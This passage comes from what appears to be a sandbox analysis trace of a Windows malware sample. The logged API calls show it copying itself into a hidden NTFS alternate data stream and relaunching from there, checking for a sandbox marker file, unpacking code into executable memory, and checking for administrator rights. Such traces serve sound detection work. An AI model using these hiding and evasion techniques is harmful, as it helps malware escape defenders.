dwReserved1=0x77f, cFileName="ReAgentc.exe", cAlternateFileName="")) returned 1 [0164.366] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\C:\\Windows\\system32\\wermgr.exe" (normalized: "c:\\windows\\system32\\c:\\windows\\system32\\wermgr.exe"), fInfoLevelId=0x0, lpFileInformation=0x41f770 | out: lpFileInformation=0x41f770*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x238ae7, ftCreationTime.dwHighDateTime=0x1d0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x23a79c, ftLastWriteTime.dwLowDateTime=0x41fac0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x41f808)) returned 0 [0164.366] GetLastError () returned 0x7b [0164.366] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1deae8) returned 1 [0164.366] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x422d18 [0164.366] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x422d18) returned 1 [0164.366] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\sfbhop~1"), fInfoLevelId=0x0, lpFileInformation=0x41f770 | out: lpFileInformation=0x41f770*(dwFileAttributes=0x48, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x1d0000, ftLastAccessTime.dwLowDateTime=0x422d18, ftLastAccessTime.dwHighDateTime=0x23a79c, ftLastWriteTime.dwLowDateTime=0x41fac0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x41f808)) returned 0 [0164.366] GetLastError () returned 0x2 [0164.366] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\sfbhop~1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x110 [0164.366] SetFileTime (hFile=0x110, lpCreationTime=0x0, lpLastAccessTime=0x41f7b4, lpLastWriteTime=0x41f7b4) returned 1 [0164.367] WriteFile (in: hFile=0x110, lpBuffer=0x422d60*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x41f7e0, lpOverlapped=0x0 | out: lpBuffer=0x422d60*, lpNumberOfBytesWritten=0x41f7e0*=0x0, lpOverlapped=0x0) returned 1 [0164.367] NtClose (Handle=0x110) returned 0x0 [0164.367] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de9d8) returned 1 [0164.367] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dea60) returned 1 [0164.367] FindClose (in: hFindFile=0x7e2ac8 | out: hFindFile=0x7e2ac8) returned 1 [0164.367] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.367] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.367] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x800) returned 0x423958 [0164.367] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x423958, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8~1.exe")) returned 0x36 [0164.367] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.367] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x41f770 | out: lpFileInformation=0x41f770*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x6d0f3350, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x6d0f3350, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x6d0f3350, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0164.367] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf8 [0164.367] SetFileTime (hFile=0xf8, lpCreationTime=0x0, lpLastAccessTime=0x41f7b4, lpLastWriteTime=0x41f7b4) returned 0 [0164.367] GetFileSize (in: hFile=0xf8, lpFileSizeHigh=0x41f7a0 | out: lpFileSizeHigh=0x41f7a0*=0x0) returned 0x44000 [0164.367] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x41f7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x41f7ac*=0) returned 0x0 [0164.367] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x44000) returned 0x429ea8 [0164.371] ReadFile (in: hFile=0xf8, lpBuffer=0x429ea8, nNumberOfBytesToRead=0x44000, lpNumberOfBytesRead=0x41f7e0, lpOverlapped=0x0 | out: lpBuffer=0x429ea8*, lpNumberOfBytesRead=0x41f7e0*=0x44000, lpOverlapped=0x0) returned 1 [0164.420] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x44000) returned 0x46deb0 [0164.424] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x429ea8) returned 1 [0164.424] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x44000) returned 0x429ea8 [0164.424] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x422d60) returned 1 [0164.424] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x46deb0) returned 1 [0164.424] NtClose (Handle=0xf8) returned 0x0 [0164.425] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.425] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x423958) returned 1 [0164.425] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.425] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\sfbhop~1:bin"), fInfoLevelId=0x0, lpFileInformation=0x41f770 | out: lpFileInformation=0x41f770*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x238ae7, ftCreationTime.dwHighDateTime=0x1d0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x23a79c, ftLastWriteTime.dwLowDateTime=0x41fac0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x41f808)) returned 0 [0164.425] GetLastError () returned 0x2 [0164.425] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\sfbhop~1:bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xf8 [0164.425] SetFileTime (hFile=0xf8, lpCreationTime=0x0, lpLastAccessTime=0x41f7b4, lpLastWriteTime=0x41f7b4) returned 1 [0164.425] WriteFile (in: hFile=0xf8, lpBuffer=0x429ea8*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x41f7e0, lpOverlapped=0x0 | out: lpBuffer=0x429ea8*, lpNumberOfBytesWritten=0x41f7e0*=0x44000, lpOverlapped=0x0) returned 1 [0164.430] NtClose (Handle=0xf8) returned 0x0 [0164.430] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.431] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x429ea8) returned 1 [0164.434] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.434] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x100) returned 0x422850 [0164.434] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.434] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin", lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x41fa68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x41fa58 | out: lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE", lpProcessInformation=0x41fa58*(hProcess=0x110, hThread=0xf8, dwProcessId=0x794, dwThreadId=0x78c)) returned 1 [0164.519] NtClose (Handle=0xf8) returned 0x0 [0164.519] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x422850) returned 1 [0164.520] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x429510) returned 1 [0164.520] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x428d08) returned 1 [0164.520] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x428500) returned 1 [0164.520] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.520] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.520] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.520] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.520] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x427cf8) returned 1 [0164.520] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0164.520] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de268) returned 1 [0164.520] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd288) returned 1 [0164.520] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de840) returned 1 [0164.520] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd278) returned 1 [0164.520] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd5e8) returned 1 [0164.520] ExitProcess (uExitCode=0x0) Thread: id = 513 os_tid = 0x248 Process: id = "42" image_name = "sfbhop~1:bin" filename = "c:\\users\\5p5nrg~1\\appdata\\roaming\\sfbhop~1:bin" page_root = "0x602a0000" os_pid = "0x794" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x6fc" cmd_line = "C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 514 os_tid = 0x78c [0164.801] GetTimeZoneInformation (in: lpTimeZoneInformation=0x36f720 | out: lpTimeZoneInformation=0x36f720) returned 0x2 [0164.803] GetCurrentProcess () returned 0xffffffff [0164.803] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x36f70c | out: lpExitCode=0x36f70c*=0x103) returned 1 [0164.803] GetForegroundWindow () returned 0x10058 [0164.804] GetCaretBlinkTime () returned 0x212 [0164.804] GetFileType (hFile=0xf710cd) returned 0x0 [0164.804] GetConsoleProcessList (in: lpdwProcessList=0x36f7cc, dwProcessCount=0x1 | out: lpdwProcessList=0x36f7cc) returned 0x0 [0164.804] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x36f6d8 | out: pcyOut=0x36f6d8) returned 0x0 [0164.805] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0164.805] GetCommState (in: hFile=0x3b268c, lpDCB=0x36f540 | out: lpDCB=0x36f540) returned 0 [0164.805] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x36f53c, pmr=0x36f528, cht=0x353) returned 0 [0164.805] CloseClipboard () returned 0 [0164.805] CoUninitialize () [0164.805] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0164.805] ReleaseMutex (hMutex=0xa0) returned 0 [0164.805] CloseHandle (hObject=0xa0) returned 1 [0164.805] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0164.805] GetCommState (in: hFile=0x3b268c, lpDCB=0x36f540 | out: lpDCB=0x36f540) returned 0 [0164.805] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x36f53c, pmr=0x36f528, cht=0x353) returned 0 [0164.805] CloseClipboard () returned 0 [0164.806] CoUninitialize () [0164.806] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0164.806] ReleaseMutex (hMutex=0xa0) returned 0 [0164.806] CloseHandle (hObject=0xa0) returned 1 [0164.806] GetLocalTime (in: lpSystemTime=0x36f7dc | out: lpSystemTime=0x36f7dc*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x17, wSecond=0x26, wMilliseconds=0xcd)) [0164.806] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x36f25c | out: ProcedureAddress=0x36f25c*=0x77011856) returned 0x0 [0164.806] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x150000 [0164.921] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x36f25c | out: ProcedureAddress=0x36f25c*=0x77011856) returned 0x0 [0164.921] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x120000 [0164.922] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x36f2f4 | out: ProcedureAddress=0x36f2f4*=0x770149d7) returned 0x0 [0164.922] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x36f2f4 | out: ProcedureAddress=0x36f2f4*=0x77011222) returned 0x0 [0164.922] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x36f2f4 | out: ProcedureAddress=0x36f2f4*=0x77011856) returned 0x0 [0164.922] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x36f2f4 | out: ProcedureAddress=0x36f2f4*=0x7701435f) returned 0x0 [0164.922] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0164.922] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0164.922] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0164.922] VirtualProtect (in: lpAddress=0x900000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x36f3a8 | out: lpflOldProtect=0x36f3a8*=0x2) returned 1 [0164.924] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x170000 [0164.926] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0164.927] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0164.927] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0164.927] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0165.524] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.550] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x2330000 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x104) returned 0x23307d0 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x23308e0 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x2330968 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x23309f0 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x2330a78 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x2330b00 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x2330b88 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x2330c10 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x2330c98 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x2330d20 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x2330da8 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x2330e30 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x2330eb8 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x2330f40 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x2330fc8 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x2331050 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x23310d8 [0165.560] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x400) returned 0x2331160 [0165.560] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x2520000 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x25207d0 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x2520858 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x25208e0 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x184) returned 0x2520968 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2520af8 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2520b40 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2520b88 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2520bd0 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2520c18 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2520c60 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2520ca8 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2520cf0 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2520d38 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2520d80 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2520dc8 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2520e10 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2520e58 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2520ea0 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2520ee8 [0165.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2520f30 [0165.561] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x36eef0, nSize=0x1000 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\sfbhop~1:bin")) returned 0x2e [0165.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2520f78 [0165.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x2c) returned 0x252b828 [0165.569] GetVersionExW (in: lpVersionInformation=0x36f510*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x36f510*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0165.570] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x36f4f8 | out: Wow64Process=0x36f4f8) returned 1 [0165.570] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x36f4d4 | out: TokenHandle=0x36f4d4*=0xa0) returned 1 [0165.570] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x36f4d0 | out: TokenInformation=0x0, ReturnLength=0x36f4d0) returned 0 [0165.570] GetLastError () returned 0x7a [0165.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x140) returned 0x252b860 [0165.570] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x252b860, TokenInformationLength=0x118, ReturnLength=0x36f4d0 | out: TokenInformation=0x252b860, ReturnLength=0x36f4d0) returned 1 [0165.570] AllocateAndInitializeSid (in: pIdentifierAuthority=0x36f4e0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x36f4d8 | out: pSid=0x36f4d8*=0x7e2bc8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0165.570] EqualSid (pSid1=0x7e2bc8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x252b8c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0165.570] EqualSid (pSid1=0x7e2bc8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x252b8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0165.570] EqualSid (pSid1=0x7e2bc8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x252b8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0165.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b860) returned 1 [0165.570] NtClose (Handle=0xa0) returned 0x0 [0165.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252b860 [0165.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252b8a8 [0165.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x252b930 [0165.573] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0165.581] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x252b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0165.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bc58 [0165.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x252bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0165.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bca0 [0165.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc58) returned 1 [0165.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bca0) returned 1 [0165.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.582] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x252b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0165.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0165.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bca0 [0165.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x252bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0165.582] RtlAllocateHeap 